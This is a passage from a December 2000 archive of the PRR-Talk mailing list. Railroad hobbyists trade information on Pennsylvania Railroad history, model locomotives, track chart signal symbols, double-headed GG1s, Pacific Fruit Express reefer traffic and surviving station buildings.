we saw).  She said she'll make them available to us along with comfortable

chairs at a big table, and we can sketch, copy, (trace?) to our heart's

content.  She says that if we'll let her know what we want before our next

visit, she'll get it all out and ready for us, even if she has to work

nights.



We are planning to stay overnight next trip to make it a three day

expedition (or more - might have to spend some time at Nisbet Jcn.).  We'll

have a few beers at the Kast Hotel, and at least one meal per day at that

Jazz Restaurant with the '50's art deco styling.  We had lunch there, and

they were playing Elvis' original Christmas album from the '50's.  Now

available in CD form from Amazon.com.  Along with some Buddy Holly!



I'm coming to think Williamsport is much more interesting than Renovo -

Williamsport had, in 1945, over 100 (!!!) businesses and industries served

by the PR, according to the 1945 CT-1000 which is the list of stations and

sidings, including businesses and industries served by the PRR.  One of the

best industrial/switching railroads anywhere.  My railroad might have to

change from Renovo Division to Williamsport Division. But then Father Al

would need to make me a Williamsport station sign, and I'm sure he'll draw

the line at that!



I plan to sketch, copy, trace, or whatever the railroad portions of the

Sandborn maps.  They show the individual industries with trackage/siding

arrangement.  Bowser has removed the old pictures from their web site.  Too

bad, although they claim to be redoing and improving it.  Best bet now would

be to call Putsee directly.  His pictures are from the late steam era, 8x10

glossies, excellent resolution - they print and enlarge nicely.  The ones on

the Bowser site were pretty small and pretty poor resolution.



I'd phone Putsee and make an appointment to see him and look at the pictures

first hand.  You can reach him at:

-----------------------------------------------------------------------

Putsee Vannucci

1307 Penna Ave

Williamsport  PA  17701



Mr. Vannucci started taking photos in 1940.

His photos are of Williamsport and the surrounding area.

8 x 10 Prints may be ordered.  Order by Photo number only. (on each picture)



$10.00 Each.  Shipping and handling $6.00 per order.  PA Residents add 6%

sales tax.



Check with order.  Sorry no credit cards. Allow 4 weeks for delivery.

----------------------------------------------------------------------------

-----------

His pix are pricey, but very good.  He's a stickler about copyright's, so

negotiation and exchange of money will be required. I'd call Lee English

first and ask what he had to do to get Putsee to let him use the pix on the

Bowser web site, and whether any money changed hands.  Don't delay, however,

Putsee is getting up there in years.  He should be listed in the

Williamsport phone book.



The trackage in Williamsport far exceeds any spaghetti bowl layout ever

designed.  Truly, there is a prototype for everything!



More info as I uncover it.  Sorry this rambles, but that's how I think.



Hang in there, continue to build model railroads, and have fun in the

bargain!



Bill Bigler

Big Flats NY

Modeling PRR Renovo Div. WWII

































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From: TGREGMRTN@aol.com

Date: Sun, 10 Dec 2000 02:07:55 EST

Subject: [PRR] Athearn PRR EF-15A's (F-7's) Update



Dave and all,



There will be no mold parting line anywhere on the locomotive.  The color 

match on the PRR Buff is absolutely amazing.  They matched the samples I 

supplied them with.  I have ask them to share the color chip samples with 

Craig Walker at MICROSCALE so we can finally get back to the correct color 

for our Pennsy decals.  



The corrections were made by Thursday night around 10:00PM west coast time.  

There were only five errors and now we shall have a correct F-unit with the 

correct colors and lettering.  It was a lot of research, and communicating 

but I think it has paid dividends.  



Although this project was a passion of mine, I need to thank Mike Bradley, 

Mark Kerlick and my brother Ed Martin for their help.  Their help supplied a 

couple missing pieces to the puzzle and verified others.  Thanks guys... 



Greg Martin 



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From: TGREGMRTN@aol.com

Date: Sun, 10 Dec 2000 03:23:50 EST

Subject: [PRR] FP-7s in passenger service



Hey Yuze Gize,



Check the Otto Perry collection in the Denver Public Library.  We always seem 

to forget this resource, but it is a good one.



Greg Martin 



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From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] FP-7s in passenger service

Date: Sun, 10 Dec 2000 07:10:39 -0700



May I second this comment...I spent some time a month or so ago and went

through Otto's archives at the Western History Collection. Much of his PRR

(and other lines) photos were taken during the 1920-1930 period, and

illustrate a time period that is otherwise lacking in depth of coverage.

Check it out!

The URL is http://gowest.coalliance.org/



Bill Daniels

----- Original Message -----

From: <TGREGMRTN@aol.com>

To: <dougkisala@yahoo.com>; <jerry@pennsyrr.com>; <prr-talk@dsop.com>

Sent: Sunday, December 10, 2000 1:23 AM

Subject: [PRR] FP-7s in passenger service





> Hey Yuze Gize,

>

> Check the Otto Perry collection in the Denver Public Library.  We always

seem

> to forget this resource, but it is a good one.

>

> Greg Martin

>

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Date: Sun, 10 Dec 2000 14:50:11 -0500

From: Jeff Warner <jwarner@ptd.net>

Subject: [PRR] Pennsy Power III Availability



<html><head></head><body>Hello all:<br>

<br>

A little over a month ago, it was posted here that Pennsy Power III was at the publisher<br>

for a new printing and that it should be available in about 3 weeks.&nbsp; Is it available yet?<br>

If so, does anyone know where I can get a copy?<br>

<br>

Thanks,<br>

<br>

Jeff Warner<br>

</body></html>





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From: RLCCR@aol.com

Date: Sun, 10 Dec 2000 16:54:13 EST

Subject: [PRR] Strafford Station



Mark, in response to your question as to whether the restoration work has 

been compleated on the Strafford Station...no.  My info is based on riding 

the rails by this landmark:  the station building looks near completion on 

the exterior (painting appears to be nearly finished).  Don't believe the 

waiting room is open again; will have to do another visual next week when I 

again will ride by on Thursday.  However, the westbound platform canopy 

building is still on perched on stilts and moved back from the platform 

approximately 25 feet...the restoration work continues.  I thought a 

completion date was sometime in spring to mid-2001.  Bob Rubin.



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From: "*s*" <salkerst@ptd.net>

Subject: [PRR] question

Date: Sun, 10 Dec 2000 19:37:54 -0800



This is a multi-part message in MIME format.



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	charset="iso-8859-1"

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I am hoping that a list member will be able to answer this question. My =

gr-grandfather was an engineman for the Pa RR. His department was listed =

as T.E. and his last division was Susquehanna Div, Harrisburg, Pa.  Does =

anyone know what the T.E. stands for?



Thanks,

Sally



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	charset="iso-8859-1"

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D"text/html; =

charset=3Diso-8859-1">

<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DGeorgia>I am hoping that a list member will be able to =

answer=20

this question. My gr-grandfather was an engineman for the Pa RR. His =

department=20

was listed as T.E. and his last division was Susquehanna Div, =

Harrisburg,=20

Pa.&nbsp; Does anyone know what the T.E. stands for?</FONT></DIV>

<DIV><FONT face=3DGeorgia></FONT>&nbsp;</DIV>

<DIV><FONT face=3DGeorgia>Thanks,</FONT></DIV>

<DIV><FONT face=3DGeorgia>Sally</FONT></DIV></BODY></HTML>



------=_NextPart_000_000D_01C062E0.B0A5DBF0--





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From: "*s*" <salkerst@ptd.net>

Subject: [PRR] re: question

Date: Sun, 10 Dec 2000 20:03:02 -0800



This is a multi-part message in MIME format.



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	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



Thanks to all who answered this question. Is there a site on the =

Susquehanna Div. that I could visit?

Sally





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Content-Type: text/html;

	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D"text/html; =

charset=3Diso-8859-1">

<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DGeorgia>

<DIV><FONT face=3DGeorgia>Thanks to all who answered this question. Is =

there a=20

site on the Susquehanna Div. that I could visit?</FONT></DIV>

<DIV><FONT face=3DGeorgia>Sally</FONT></DIV>

<DIV>&nbsp;</DIV></FONT></DIV></BODY></HTML>



------=_NextPart_000_0015_01C062E4.33C26FA0--





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Date: Sun, 10 Dec 2000 20:32:22 -0500

Subject: [PRR] Hawstone Cistern For Sale!

From: Jerry Britton <jerry@pennsyrr.com>



Anyone want to buy a cistern that once fed track pans on the mighty PRR

mainline?



Following the Altoona convention two years ago, I drove the back way east

from Lewistown to Mifflintown. Although I forget the route number, it's the

one on the opposite side of the Juniata River from Rt. 322/22.



I wasn't expecting to see anything as my sights were set on Denholm, a few

miles ahead. The road wasn't busy, so I was doing about 60. A short ways

behind me was another PRR-Talk'er, Dave Wartell.



Something caught my eye over the side of the hill, down the hill from the

road, but above the tracks. I waved frantically out my window so Dave would

look also. It was buried in the thick green foliage. It was a foundation of

sorts. 



When Dave and I got to the site of the once massive Denholm coal wharf, we

agreed that it might have been the cistern for the Hawstone track pans.

Further research seemed to confirm.



Today I was in Lewistown and made the same trip...this time looking for the

cistern. There was a light coating of snow on the ground, which made

man-made structures really stick out. Also, the foliage was all gone AND

they had just cut back the trees along the entire stretch of road.



I not only found the cistern, but the lot has a Jack Gaughen "For Sale" sign

on it!!! Anyone want a lot with a solid PRR foundation overlooking the

former PRR main line?  <grin>



By my estimates, the cistern is about 100-120 feet long and 40-50 feet wide,

oval shaped. One end has an elbow drain, approximately 1 foot diameter,

which was fixed about 3 feet below the top of the cistern, which was

probably 16-20 feet deep total. About 4 feet of the cistern walls extended

above grade. The grade of the cistern was about 50 feet above track grade.

These are all estimates!!!



If anyone want actual measurements -- and I hope someone nearby will make

this a project -- this is an ideal time of year to do it!



As a marker to find the spot, they just erected a cellular tower in the

Juniata Narrows area. There is only one such tower and you cannot miss it.

The cistern is about 1/4 mile east of this tower.



Also, the south side pier from the Denholm wharf has been very easy to find

over the years. However, now that the foliage is gone, you can see the north

side pier, which sits back in the woods now. By viewing both piers, you mind

can create a better image of what the coal wharf must have been like. Wow!!!

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

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Date: Mon, 11 Dec 2000 08:49:00 -0500

From: "James L. McDaniel" <jlmcdaniel@esva.net>

Subject: [PRR] (no subject)



While looking at 1956 and 1960 track charts of Delmarva, I came across

some symbols and other things that I don't understand.  The legend says

what the symbols represent, but I can't "translate" them into real life.



So here goes:



Along the top of the chart between "mileposts" are numbers that

approximate 5280: is this the actual number of feet of track in each

"mile'?



Below each station name is a number [Cape Charles 2425, Bayview 130,

Cheriton 800, etc.] which represents what??



There are symbols for a "distant switch" that looks like two cirlces on

a stick, one over the other.  What type of signal would this actually

be, and where would they be controlled from/by, given that most of them

on Delmarva are NOT near any station or anything else!!



Finally, there are "signal mast" symbols that look like miniature

semaphores with multiple "arms" drawn on the "stick" mast.  How do you

figure out what the actual signal looked like.  I have seen the only

signal still remaining here: a non functioning two head position light

just south of Parkesly and the Eastern Shore RR museum.



Thanks in advance for any help and assistance.



Jim McDaniel,  lost down here in Delmarva.







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Date: Mon, 11 Dec 2000 08:48:35 -0500

Subject: [PRR] Mifflin County Model Railroad Club

From: Jerry Britton <jerry@pennsyrr.com>



Anyone here a member of the Mifflin County Model Railroad Club in Lewistown,

Pa.? If so, please contact me off list. Thanks.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

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    http://www.railfancentral.com





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From: "Zyla, Joe" <Joe.Zyla@astrazeneca.com>

Subject: RE: [PRR] DELMARVA Track Diagrams

Date: Mon, 11 Dec 2000 09:36:15 -0500



The '5280" should be the actual distance in feet between mile posts.  The

actual mile post is used as a marker for the railroad to reference to when

reporting location.



I am not too certain of PRR track diagrams, so I'll pass the rest on to

someone that knows.  Various railroads also had "Signal/Train Control"

diagram books, which were used by the signal maintainers.  These books would

be the best source for what type of signal, as the actual part would be

listed.



Joe Zyla

Doylestown, PA



-----Original Message-----

From: James L. McDaniel [mailto:jlmcdaniel@esva.net]

Sent: Monday, December 11, 2000 8:49 AM

To: PRR Talk; PRR Fax

Subject: [PRR] (no subject)





While looking at 1956 and 1960 track charts of Delmarva, I came across

some symbols and other things that I don't understand.  The legend says

what the symbols represent, but I can't "translate" them into real life.



So here goes:



Along the top of the chart between "mileposts" are numbers that

approximate 5280: is this the actual number of feet of track in each

"mile'?



Below each station name is a number [Cape Charles 2425, Bayview 130,

Cheriton 800, etc.] which represents what??



There are symbols for a "distant switch" that looks like two cirlces on

a stick, one over the other.  What type of signal would this actually

be, and where would they be controlled from/by, given that most of them

on Delmarva are NOT near any station or anything else!!



Finally, there are "signal mast" symbols that look like miniature

semaphores with multiple "arms" drawn on the "stick" mast.  How do you

figure out what the actual signal looked like.  I have seen the only

signal still remaining here: a non functioning two head position light

just south of Parkesly and the Eastern Shore RR museum.



Thanks in advance for any help and assistance.



Jim McDaniel,  lost down here in Delmarva.







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Date: Mon, 11 Dec 2000 10:24:35 -0500

Subject: [PRR] Duncannon Station (w/spec attn to Mark Bej)

From: Jerry Britton <jerry@pennsyrr.com>



Was railfanning yesterday and stopped by the Duncannon, Pa., passenger

station. It is still in pretty good shape and is in active use as offices of

Blue Ridge Communications (cable television provider).



Mark Bej: Perhaps you'd want to add this to your list of surviving stations?



Also in existence that I've recently visited: Marysville, Mifflin,

Christiana

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

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From: Peter Reinhold <preinhol@unidie.com>

Subject: RE: [PRR] NEB&W rolling stock books question

Date: Mon, 11 Dec 2000 09:28:11 -0600



George,



   IMHO, these are valuable books even though the photos are photocopy 

reproductions. These are NOT picture books. They are loaded with 

information on prototypes used by all railroads, a history of the freight 

car. Yes I have some of these books and use them. All in all, a ton of 

information and a great companion to the ORER's. My 2 cents.



Pete Reinhold

PRRT&HS #5518

Universal Die & Stampings

preinhol@unidie.com



On Friday, 08 December, 2000 10:43 AM, george.pierson@trnty.edu 

[SMTP:george.pierson@trnty.edu] wrote:

> Hello, all,

>

> This is slightly off topic - but have any of you seen the various NEB&W 

books on

> rolling stock by John Nehrich?  I've visited the RPI-NEB&W website where 

the

> books are described but what I want to know is do they include photos of 

the

> various cars?  I'm especially interested in finding more photos of 

rolling stock

> from c.1922 that might have run on the PRR Middle Division.  The basic 

car data

> I can get from Westerfield's CD-ROM's of the ORER but I'm not sure I want 

to

> spend the bucks for the NEB&W books if they do not include photos. TIA.

>

> George Pierson

>

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Date: Mon, 11 Dec 2000 10:29:27 -0500

From: st96ap87 <st96ap87@drexel.edu>

Subject: RE: [PRR] (no subject)



Jim,



The numbers between the mileposts are benchmarks.  The distance between 5280 

and 5281 would be on 100 feet.  The distance between 5281+00 and 5281+33 would 

133 feet.  They are usually labeled and indicate where a signal bridge, house 

or points of a switch etc. should be located.  The arms on the minitature 

semaphores are used to indicate the possible aspects that a signal could 

display.  A vertical line indicates a clear, a horizontal a stop, and a line 

at a 45 degree angle an approach.  A restricting is slanted opposite the 

approach.  When they are dotted it means flashing. A drawn circle on a B arm 

indicates a marker light for a stop and go.  If the signal has a little 

quarter moon colored in it means it is a controlled signal as opposed to an 

automatic. Hope this helps.



Dave













>===== Original Message From jlmcdaniel@esva.net =====

>While looking at 1956 and 1960 track charts of Delmarva, I came across

>some symbols and other things that I don't understand.  The legend says

>what the symbols represent, but I can't "translate" them into real life.

>

>So here goes:

>

>Along the top of the chart between "mileposts" are numbers that

>approximate 5280: is this the actual number of feet of track in each

>"mile'?

>

>Below each station name is a number [Cape Charles 2425, Bayview 130,

>Cheriton 800, etc.] which represents what??

>

>There are symbols for a "distant switch" that looks like two cirlces on

>a stick, one over the other.  What type of signal would this actually

>be, and where would they be controlled from/by, given that most of them

>on Delmarva are NOT near any station or anything else!!

>

>Finally, there are "signal mast" symbols that look like miniature

>semaphores with multiple "arms" drawn on the "stick" mast.  How do you

>figure out what the actual signal looked like.  I have seen the only

>signal still remaining here: a non functioning two head position light

>just south of Parkesly and the Eastern Shore RR museum.

>

>Thanks in advance for any help and assistance.

>

>Jim McDaniel,  lost down here in Delmarva.

>

>

>

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Date: Mon, 11 Dec 2000 07:49:46 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: Re: [PRR] (no subject)





--- "James L. McDaniel" <jlmcdaniel@esva.net> wrote:

<snip>

> Finally, there are "signal mast" symbols that look

> like miniature

> semaphores with multiple "arms" drawn on the "stick"

> mast.



There's a page on Mark Bej's web site which decodes

the PRR "stick figure" symbols. I don't have the exact

URL handy, but the main page of the site is at

http://ccfadm.eeg.ccf.org/~bejm/Rail/Prr/index.html





I think I saw a similar list somewhere else, but can't

remember where? Somewhere on Ketstone Crossings?









=====

Bob Netzlof a/k/a Sweet Old Bob





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From: PKMac1@aol.com

Date: Mon, 11 Dec 2000 11:14:58 EST

Subject: Re: [PRR] (no subject)



Dave. The difference between 5281+ 00 & 5281+ 33 is 33feet not 133 feet. The 

numbers between the mileposts is the actual number of feet yes but not listed 

as 5280+00. Don't forget that 1+00 is a 100 ft and 5280 ft would be 52+80 as 

engineering stations. Almost all the track charts I recall seeing do not show 

footage as engineering stations just as actual number of feet between any 

sw.,bldg. or any other fixed structure and point. Valuation maps did show 

footage as engineering stations as they were the Engineering Depts. primary 

information source,but there is always that exception when it comes to the 

PRR as someone may have specificly requested a track chart drawn in that 

manner.



Pat McKinney MW

PRRT&HS 1524

Former Allegeheny A Div. Draftsman



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From: NDBPRR@aol.com

Date: Mon, 11 Dec 2000 11:25:44 EST

Subject: [PRR] Doubleheaded G's





--part1_85.41715cc.27665a08_boundary

Content-Type: text/plain; charset="US-ASCII"

Content-Transfer-Encoding: 7bit



Don't ever recall seeing any pictures of doubleheaded G's on passenger 

trains.  Does anybody know of any examples?



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>Don't ever recall seeing any pictures of doubleheaded G's on passenger <BR>trains. &nbsp;Does anybody know of any examples?</FONT></HTML>



--part1_85.41715cc.27665a08_boundary--



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From: mittner@webtv.net (Gary Mittner)

Date: Mon, 11 Dec 2000 11:37:40 -0500 (EST)

Subject: Re: [PRR] Doubleheaded G's



A quick look in Pennsy Power 3 shows 3 pics of multi powered GG-1's with

P trains. One of them is 3 GG-1's powered. Have to look in other books,

but I assume more will be found....Gary  









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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Date: Mon, 11 Dec 2000 08:53:17 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: Re: [PRR] (no subject)





--- robert netzlof <wb3iqe@rocketmail.com> wrote:

> 

> --- "James L. McDaniel" <jlmcdaniel@esva.net> wrote:

> <snip>

> > Finally, there are "signal mast" symbols that look

> > like miniature

> > semaphores with multiple "arms" drawn on the

> "stick"

> > mast.

> 

> There's a page on Mark Bej's web site which decodes

> the PRR "stick figure" symbols. I don't have the

> exact

> URL handy, but the main page of the site is at

> http://ccfadm.eeg.ccf.org/~bejm/Rail/Prr/index.html

> 



Hm. Turns out you can't get there from there. Try:



http://gateway.eeg.ccf.org/~bejm/Rail/Signal/



and look for Section H, and under that PRR signal

symbols.



Note: Mark uses one of those case-sensitive unix

systems, /Rail/ and /rail/ are not the same thing.

Watch your capitalization. It matters.











=====

Bob Netzlof a/k/a Sweet Old Bob





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Date: Mon, 11 Dec 2000 12:03:32 -0500

From: Dan Cupper <cupper@mciworld.com>

Subject: [PRR] Delmarva track charts question



Greetings to James and the list:



The number beneath each town name was the population.





Dan







Dan Cupper

cupper@mciworld.com

Galatians 2:20









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Date: Mon, 11 Dec 2000 12:19:00 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] Doubleheaded G's



It was often done for reliability on sensitive special trains.  I recall

seeing a foto of 2 G's on the Kruscheiv train and I believe also the RFK

funeral train.



Regards,



Andy Miller

asmiller@mitre.org



===================================================

NDBPRR@aol.com wrote:

> 

> Don't ever recall seeing any pictures of doubleheaded G's on passenger

> 

> trains.  Does anybody know of any examples?



--





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From: Mark Bej <bejm@eeg.ccf.org>

Subject: Re: [PRR] DELMARVA Track Diagrams

Date: Mon, 11 Dec 100 13:24:40 -0500 (EST)





Jim, Joe, et al.,



not having seen the diagram, I cannot answer with 100% precision, but I'll

give it a try. Would be happy if you could either scan a portion of the

diagram, or xerox and send it to me, or fax it (though reproduction by fax

is often poor).



> > Along the top of the chart between "mileposts" are numbers that

> > approximate 5280: is this the actual number of feet of track in each

> > "mile'?

> The '5280" should be the actual distance in feet between mile posts.  The

> actual mile post is used as a marker for the railroad to reference to when

> reporting location.



Yes. A mile is not always a mile. In fact, ETTs (employe[e] timetables) often

had a listing of "measured miles", i.e. 5280-foot miles that could be used for

precise measurement of a train's speed (and confirmation that the speedometer

was working properly).



More detailed RR maps -- don't know what they would be called -- a B&O one

I have is called a "right of way and track map" -- will list specific locations

on the RoW in miles and feet, e.g. 1372+80 meaning milepost 137.2 plus 80 feet.



> > Below each station name is a number [Cape Charles 2425, Bayview 130,

> > Cheriton 800, etc.] which represents what??



No idea. Cape Charles' number is too high to be the milepost (with tenths

tacked on). And it doesn't look like a CTC code. (Besides which, most of the

branch was Manual Block rules.)



> > There are symbols for a "distant switch" that looks like two cirlces on

> > a stick, one over the other.  What type of signal would this actually

> > be, and where would they be controlled from/by, given that most of them

> > on Delmarva are NOT near any station or anything else!!



My answer would depend on seeing the location of the signal relative to any

nearby switches. Quite possibly it was a Distant Switch Signal. Please see

the rulebook on my site at

http://www.neuro.ccf.org/~bejm/Rail/Prr/Bor1956/rulebook1956.html



> > Finally, there are "signal mast" symbols that look like miniature

> > semaphores with multiple "arms" drawn on the "stick" mast.  How do you

> > figure out what the actual signal looked like.  I have seen the only

> > signal still remaining here: a non functioning two head position light

> > just south of Parkesly and the Eastern Shore RR museum.



This is a difficult question to answer in a short space, and any attempt to

do so is likely to be shot down as incorrect or incomplete or insufficiently

precise or what have you. But I'm not one known for retrieving my neck from

the chopping block, so here goes ...



VERY briefly, on the signal mast, which is represented by an upside-down T,

each grouping of arms is one "head" (actually called an "arm", still from

semaphore days) of the signal. The arms on the signal diagrams are actually

easy to translate to PRR signals: they stand for rows of 3 lights in the

same orientation. It's just that the arms on the diagrams are drawn "rotating"

around a point on the end of the arm, whereas PRR signal lights "rotate"

around the center light. Thus, -- stands for 3 horizontal yellow lights (or

red on NYC or RDG), / stands for 3 diagonal lights (or yellow), and | stands

for 3 vertical lights (or green). The single marker below is denoted by a

circle, o. For Delmarva, though, the picture is complicated by the presence

(I presume) of reverse diagonals \ . These are present on Manual Block signals.



Putting this all together, a diagram like this:

(you'll need to change your email to a fixed-width font, like Courier):



  |

  |__

 | \

 |  \

 |o

 |

 |

---



would in reality look like this:

    ___

  /-   -\

 /   O   \

(  O      )

( O  O  O )

(      O  )

 \   O   /

  \-___-/

     |

     O

	 |

	 |

	 |

	 |

   -----



For a more complete list of signal diagrams, please see

  http://www.neuro.ccf.org/~bejm/Rail/Signal/sig_symbols.gif

though I'll warn you that this is a rather cryptic diagram really meant

for those that already know the meaning of various signal types, and to

the novice will probably be incomprehensible. After your 50th time through

it, you'll start to understand bits and pieces.



Email me privately if you want to send me copies for more specifics.



-- 

Mark



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From: Colman Gerald <ColmanG@tce.com>

Subject: [PRR] PFE question

Date: Mon, 11 Dec 2000 13:34:44 -0500



Can anyone enlighten me on if the Pennsy hauled any of the Pacific Fruit

Express reefers.

Were they usually picked up in Chicago or St. Louis?  What was there final

destination points?

Since I assume they ran on fast trains, which steam engines were used to

haul them through Indiana, Ohio, and Pennsylvania?  Any other comments,

history, or references on this particular service of the Pennsy would be

greatly appreciated.



Thanks in advance.

Jerry Colman



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Date: Mon, 11 Dec 2000 12:44:12 -0600

From: "Bruce F. Smith V.M.D., Ph.D." <smithbf@mail.auburn.edu>

Subject: Re: [PRR] Doubleheaded G's



>Don't ever recall seeing any pictures of doubleheaded G's on passenger

>trains.  Does anybody know of any examples?



At least one video I own has double Gs on the Dusquene...if you call that a

passenger train ;^)



As I think I pointed out last week - a GG-1 could handle around 15-20 cars,

so it would be an unusual train that REQUIRED two (although two might have

been used if the train was close to the weight cutoff, had lots of headend

cars (like the Dusquene), one of the motors had a problem, or to balance

power.



Happy Rails

Bruce



Bruce F. Smith V.M.D., Ph.D.

Scott-Ritchey Research Center

334-844-5587, 334-844-5850 (fax)

http://www.vetmed.auburn.edu/~smithbf/



"Beer is proof that God loves us and wants us to be happy" - Benjamin Franklin

                           __

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  __<+--+>________________\__/___   ____________________________________

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Date: Mon, 11 Dec 2000 13:52:16 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] PFE question



Jerry,



The PRR carried a large proportion of the California produce bound for

east coast markets.   The plurality of this would be in PFE reefers, but

SFRD, WFEX, URT, and other western reefer companies would also be

present.



They were most often handled in large block, if not wholly reefer

trains.  That is because they would have to be iced en route, and it was

time consuming to have to cut the reefers out of a train.  It was easier

to ice the whole train.



Depending on your era, M1s, J1s, or even Q2s - what ever was the latest

was appropriate steam power.



The westbound return of the empties would be far less time sensitive and

probably be mixed in with other freight.



As a reference about 10% of my HO fleet is reefers and anbout half of

that is PFE.



Regards,



Andy Miller

asmiller@mitre.org



===================================================



Colman Gerald wrote:

> 

> Can anyone enlighten me on if the Pennsy hauled any of the Pacific Fruit

> Express reefers.

> Were they usually picked up in Chicago or St. Louis?  What was there final

> destination points?

> Since I assume they ran on fast trains, which steam engines were used to

> haul them through Indiana, Ohio, and Pennsylvania?  Any other comments,

> history, or references on this particular service of the Pennsy would be

> greatly appreciated.

> 

> Thanks in advance.

> Jerry Colman

> 

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Date: Mon, 11 Dec 2000 14:12:05 -0500

Subject: Re: [PRR] Doubleheaded G's

From: Jerry Britton <jerry@pennsyrr.com>



On 12/11/00 1:44 PM, Bruce F. Smith V.M.D., Ph.D. (smithbf@mail.auburn.edu)

wrote:



>> Don't ever recall seeing any pictures of doubleheaded G's on passenger

>> trains.  Does anybody know of any examples?

> 

> At least one video I own has double Gs on the Dusquene...if you call that a

> passenger train ;^)

> 

> As I think I pointed out last week - a GG-1 could handle around 15-20 cars,

> so it would be an unusual train that REQUIRED two (although two might have

> been used if the train was close to the weight cutoff, had lots of headend

> cars (like the Dusquene), one of the motors had a problem, or to balance

> power.

> 

Bruce is correct, I remember the video. I believe it was The Duquesne

heading east out of Harrisburg. I believe it was one of the Digital Image

Works videos. May have been Penn Valley Pictures. I don't have that many of

these videos, but I do remember double G's.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

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From: Bobspf@aol.com

Date: Mon, 11 Dec 2000 14:13:03 EST

Subject: Re: [PRR] Doubleheaded G's



In a message dated 12/11/00 10:34:57 AM Central Standard Time, NDBPRR@aol.com 

writes:



<< Don't ever recall seeing any pictures of doubleheaded G's on passenger 

 trains.  Does anybody know of any examples? >>



Does personal observation  or PC-Amtrak  count?  In 1973-4 I lived in Berwyn 

and used the Paoli station.  The Broadway headend power was usually an Amtrak 

Platinum mist and a PC (might have been hastily lettered Amtrak) GG1 in 

olive-black double-headed.  Of course, those were the days of the Rainbow 

Broadway-UP, SAL, etc.



Bob Zoeller



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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: [PRR] Remington N-scale PRR X-23 boxcar

Date: Mon, 11 Dec 2000 14:22:24 -0500



Lists:



I have just purchased a Remington kit for a PRR X-23 boxcar in N scale on

eBay. This kit was made at least 20 years ago and is of the old craftsman

type.  I had heard of Remington, but know nothing of the quality of their

kits. Has anyone in these lists had any experience with this kit? Should be

fun shaping the ends of the braces!



Gregg Mahlkov





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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Re: [PRR] PFE question

Date: Mon, 11 Dec 2000 14:34:16 -0500



Jerry and list:



PFE's would have been received at both Chicago and St. Louis, depending on

where they originated. Imperial Valley and Arizona produce no doubt moved

via the Cotton Belt and St. Louis, while Fresno area might as well have

moved via the "Overland Route" to UP at Ogden, UT and eventually to Chicago.



Much of this produce was destined to Pennsylvania Produce Terminals operated

in major Cities, which were owned by the PRR, with space leased to

wholesalers. The New York area one was at "Ball Ground" in Jersey City.  The

rest went to the large supermarket chains' main warehouses.



The Produce Terminal was my responsibility for the PRR Traffic Department in

Baltimore, MD, in 1965-1967.



Gregg Mahlkov





----- Original Message -----

From: "Colman Gerald" <ColmanG@tce.com>

To: "PRR Talk" <prr-talk@dsop.com>

Sent: Monday, December 11, 2000 1:34 PM

Subject: [PRR] PFE question





> Can anyone enlighten me on if the Pennsy hauled any of the Pacific Fruit

> Express reefers.

> Were they usually picked up in Chicago or St. Louis?  What was there final

> destination points?

> Since I assume they ran on fast trains, which steam engines were used to

> haul them through Indiana, Ohio, and Pennsylvania?  Any other comments,

> history, or references on this particular service of the Pennsy would be

> greatly appreciated.

>

> Thanks in advance.

> Jerry Colman

>

> -----------------------------------------------------------------------

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>





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From: "Chany, Christopher" <cpc1@westchestergov.com>

Subject: [PRR] RE: DOUBLE HEADED GG-1'S

Date: Mon, 11 Dec 2000 15:15:33 -0500







Listers,



Bruce wrote:

"At least one video I own has double Gs on the Dusquene...if you call that a

passenger train ;^)"



I liked the Dusquene.  Use to take it from Harrisburg to NYC.  It was always

on time in H'burg and got us to NY on time.  And the food in the snack bar

was good.





Chris Chany



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Date: Mon, 11 Dec 2000 15:31:11 -0500

Subject: [PRR] Weldon, Where Are You?

